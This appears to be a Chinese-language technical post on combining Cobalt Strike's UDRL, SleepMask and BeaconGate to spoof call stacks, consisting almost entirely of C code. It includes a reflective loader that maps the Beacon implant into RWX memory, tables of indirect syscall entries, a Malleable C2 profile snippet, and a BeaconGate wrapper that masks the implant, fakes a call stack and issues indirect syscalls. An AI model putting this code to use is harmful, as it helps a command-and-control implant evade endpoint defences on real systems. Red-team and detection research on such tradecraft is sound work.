本文总结了如何将 Cobalt Strike 的 UDRL、SleepMask 和 BeaconGate 结合满足调用堆栈欺骗

extern "C" {
#pragma code_seg(".text$a")
    ULONG_PTR __cdecl ReflectiveLoader() {
        // determine start address of loader
#ifdef _WIN64
        void* loaderStart = &ReflectiveLoader;
#elif _WIN32
        void* loaderStart = (char*)GetLocation() - 0xE;
#endif
        // determine base address of Beacon DLL
        ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();

        // parse NTHeaders
        PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;
        PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);

        // resolve the functions needed by the loader
        _PPEB pebAddress = GetPEBAddress();
        WINDOWSAPIS winApi = { 0 };
        if (!ResolveBaseLoaderFunctions(pebAddress, &winApi)) {
            return NULL;
        }

        // allocate memory for Beacon, yolo RWX
        ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (loadedDllBaseAddress == NULL) {
            return NULL;
        }

        // map sections
        if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress)) {
            return NULL;
        };

        // resolve Beacon's import table...
        ResolveImports(rawDllNtHeader, loadedDllBaseAddress, &winApi);

        // perform relocations...
        ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress);

        // calculate Beacon's entry point
        ULONG_PTR entryPoint = loadedDllBaseAddress + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;

        // flush instruction cache to avoid stale code being used
        winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);

        // call Beacon's entrypoints
        ((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
        ((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);

        // return address of entry point to caller
        return entryPoint;
    }
}

typedef struct _ALLOCATED_MEMORY_REGION {
    ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
    PVOID AllocationBase; // The base address of the allocated memory block
    SIZE_T RegionSize; // The size of the allocated memory block 
    DWORD Type; // The type of memory allocated
    ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
    ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;

typedef struct {
    ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;

// pass Beacon User Data (BUD) to Beacon
((DLLMAIN)entryPoint)(0, DLL_BEACON_USER_DATA, &userData);

// call Beacon's entrypoints
((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, NULL);
((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);

void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)

info->beacon_info.allocatedMemory.AllocatedMemoryRegions

typedef struct {
    SYSCALL_API_ENTRY ntAllocateVirtualMemory;
    SYSCALL_API_ENTRY ntProtectVirtualMemory;
    SYSCALL_API_ENTRY ntFreeVirtualMemory;
    SYSCALL_API_ENTRY ntGetContextThread;
    SYSCALL_API_ENTRY ntSetContextThread;
    SYSCALL_API_ENTRY ntResumeThread;
    SYSCALL_API_ENTRY ntCreateThreadEx;
    SYSCALL_API_ENTRY ntOpenProcess;
    SYSCALL_API_ENTRY ntOpenThread;
    SYSCALL_API_ENTRY ntClose;
    SYSCALL_API_ENTRY ntCreateSection;
    SYSCALL_API_ENTRY ntMapViewOfSection;
    SYSCALL_API_ENTRY ntUnmapViewOfSection;
    SYSCALL_API_ENTRY ntQueryVirtualMemory;
    SYSCALL_API_ENTRY ntDuplicateObject;
    SYSCALL_API_ENTRY ntReadVirtualMemory;
    SYSCALL_API_ENTRY ntWriteVirtualMemory;
    SYSCALL_API_ENTRY ntReadFile;
    SYSCALL_API_ENTRY ntWriteFile;
    SYSCALL_API_ENTRY ntCreateFile;
} SYSCALL_API, *PSYSCALL_API;

typedef struct {
   PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
   PVOID rtlFreeHeapAddr;
   PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;

typedef struct
{
    PVOID fnAddr; // address of Nt* function
    PVOID jmpAddr; // syscall/FastSysCall/KiFastSystemCall instruction
    DWORD sysnum; // System Call number
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;

stage {
  set syscall_method "indirect";
  beacon_gate {
    VirtualAlloc;
  }
}

void sleep_mask(PSLEEPMASK_INFO info, PFUNCTION_CALL funcCall)

typedef struct {
    PVOID functionPtr; // function to call
    WinApi function; // enum representing target api
    int numOfArgs; // number of arguments
    ULONG_PTR args[MAX_BEACON_GATE_ARGUMENTS]; // array of pointers containing the passed arguments (e.g. rcx, rdx, ...)
    BOOL bMask; // indicates whether Beacon should be masked during the call
    ULONG_PTR retValue; // a pointer containing the return value
} FUNCTION_CALL, * PFUNCTION_CALL;

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    // mask beacon if needed
    if (functionCall->bMask == TRUE) {
        MaskBeacon(&info->beacon_info);
    }

    // call stack spoofing code for requested api
    if (functionCall->function == VIRTUALALLOC) {
        virtualAllocStackSpoof(functionCall->args);
    }

    // execute original function pointer
    BeaconGate(functionCall);

    // unmask beacon if needed
    if (functionCall->bMask == TRUE) {
        UnMaskBeacon(&info->beacon_info);
    }

    return;
}

typedef struct {
    PSYSCALL_API syscalls;
    PRTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
  // get custom syscall info
  BEACON_SYSCALLS syscall_info;
  BeaconGetSyscallInformation(&syscall_info, TRUE);

  if (functionCall->bMask == TRUE) {
    MaskBeacon(&info->beacon_info);
  }
  
  ...
}

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALL functionCall) {
    // get custom syscall info
    BEACON_SYSCALLS syscall_info;
    BeaconGetSyscallInformation(&syscall_info, TRUE);

  // mask beacon if needed
  if (functionCall->bMask == TRUE) {
        MaskBeacon(&info->beacon_info);
    }

    if (functionCall->function == VIRTUALALLOC) {
        // setup a fake call stack
        virtualAllocStackSpoof(functionCall->args);
        
        // syscall
        prepSyscall(
            syscall_info.syscalls->ntAllocateVirtualMemory.sysnum,
            syscall_info.syscalls->ntAllocateVirtualMemory.jmpAddr);

        functionCall->retValue = doSyscall(functionCall->args);
    }

    // unmask beacon if needed
    if (functionCall->bMask == TRUE) {
        UnMaskBeacon(&info->beacon_info);
    }

    return;
}